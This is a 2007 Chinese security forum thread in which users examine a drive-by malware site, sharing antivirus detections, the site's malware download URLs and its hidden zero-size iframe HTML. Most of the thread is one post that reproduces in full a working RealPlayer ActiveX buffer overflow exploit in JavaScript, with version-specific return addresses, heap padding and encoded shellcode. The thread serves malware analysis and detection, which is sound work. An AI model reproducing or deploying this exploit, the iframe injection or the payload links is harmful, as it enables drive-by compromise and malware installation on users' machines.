毒网，谁来解密下

Redevil

http://9gg.biz/

附上网页

nosferatu

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\桌面.rar'
C:\Documents and Settings\Administrator\桌面\桌面.rar
  [0] Archive type: RAR
  --> xl.htm
      [DETECTION] Contains detection pattern of the HTML script virus HTML/Silly.Gen
      [INFO]      The file was deleted!

jimmyleo

[exe]http://9gg.biz/1.exe

[exe]http://9gg.biz/real.exe

应该是同一个东西


antivir斩……

[ 本帖最后由 jimmyleo 于 2007-12-4 23:53 编辑 ]

capsshift

红伞把脚本都拦截了，没机会下马了。

Redevil

原帖由 jimmyleo 于 2007-12-4 23:51 发表
[exe]http://9gg.biz/1.exe

[exe]http://9gg.biz/real.exe

应该是同一个东西


antivir斩……

恩
的确是同一个
3Q

jimmyleo

那只是因为你没有这些漏洞 和antivir没有关系

antivir只是在有时会拦截脚本 其实是读到一半就报了 所以……
其实拦截的话 就要用s版的webguard了 那才是之前
其他版本的都是之后了……

不过有时会读到一半成为拦截的假象
所以我在上报上报……上报~

Oceanzd

<iframe src=index.html width=0 height=0></iframe>
<iframe src=2.htm width=0 height=0></iframe>
<iframe src=xl.htm width=0 height=0></iframe>   
<script src='http://s68.cnzz.com/stat.php?id=701834&web_id=701834&show=pic1' language='JavaScript' charset='gb2312'></script>

xxl

卡巴7.0报
检测到：恶意程序 Exploit.HTML.IESlice.av        URL: http://9gg.biz/xl.htm

2007-12-5 0:25:52        URL: http://9gg.biz/xl.htm        检测到恶意程序 'Exploit.HTML.IESlice.av'       
2007-12-5 0:25:52        URL: http://9gg.biz/xl.htm        拒绝访问

Graybird

1. function RealExploit()
   
2. {
   
3. var user = navigator.userAgent.toLowerCase();
   
4. if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
   
5. return;
   
6. if(user.indexOf("nt 5.")==-1)
   
7. return;
   
8. VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
   
9. try
   
10. {
    
11. Real = new ActiveXObject(VulObject);
    
12. }catch(error)
    
13. {
    
14. return;
    
15. }
    
16. 
    
17. RealVersion = Real.PlayerProperty("PRODUCTVERSION");
    
18. Padding = "";
    
19. JmpOver = unescape("%75%06%74%04");
    
20. for(i=0;i<32*148;i++)
    
21. Padding += "S";
    
22. 
    
23. if(RealVersion.indexOf("6.0.14.") == -1)
    
24. {
    
25. if(navigator.userLanguage.toLowerCase() == "zh-cn")
    
26. ret = unescape("%7f%a5%60");
    
27. else if(navigator.userLanguage.toLowerCase() == "en-us")
    
28. ret = unescape("%4f%71%a4%60");
    
29. else
    
30. return;
    
31. }
    
32. else if(RealVersion == "6.0.14.544")
    
33. ret = unescape("%63%11%08%60");
    
34. else if(RealVersion == "6.0.14.550")
    
35. ret = unescape("%63%11%04%60");
    
36. else if(RealVersion == "6.0.14.552")
    
37. ret = unescape("%79%31%01%60");
    
38. else if(RealVersion == "6.0.14.543")
    
39. ret = unescape("%79%31%09%60");
    
40. else if(RealVersion == "6.0.14.536")
    
41. ret = unescape("%51%11%70%63");
    
42. else
    
43. return;
    
44. 
    
45. if(RealVersion.indexOf("6.0.10.") != -1)
    
46. {
    
47. for(i=0;i<4;i++)
    
48. Padding = Padding + JmpOver;
    
49. Padding = Padding + ret;
    
50. }
    
51. else if(RealVersion.indexOf("6.0.11.") != -1)
    
52. {
    
53. for(i=0;i<6;i++)
    
54. Padding = Padding + JmpOver;
    
55. Padding = Padding + ret;
    
56. }
    
57. else if(RealVersion.indexOf("6.0.12.") != -1)
    
58. {
    
59. for(i=0;i<9;i++)
    
60. Padding = Padding + JmpOver;
    
61. Padding = Padding + ret;
    
62. }
    
63. else if(RealVersion.indexOf("6.0.14.") != -1)
    
64. {
    
65. for(i=0;i<10;i++)
    
66. Padding = Padding + JmpOver;
    
67. Padding = Padding + ret;
    
68. }
    
69. 
    
70. AdjESP = "LLLL\\XXXXXLD";
    
71. Shell ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoVYPgsWTnQr3Y3JVO6QTnauqhauOpwp";
    
72. PayLoad = Padding + AdjESP + Shell;
    
73. while(PayLoad.length < 0x8000)
    
74. PayLoad += "ChuiZi";
    
75. Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0);
    
76. }
    
77. RealExploit();

复制代码

Real漏洞~

啊弥陀佛

微点砍掉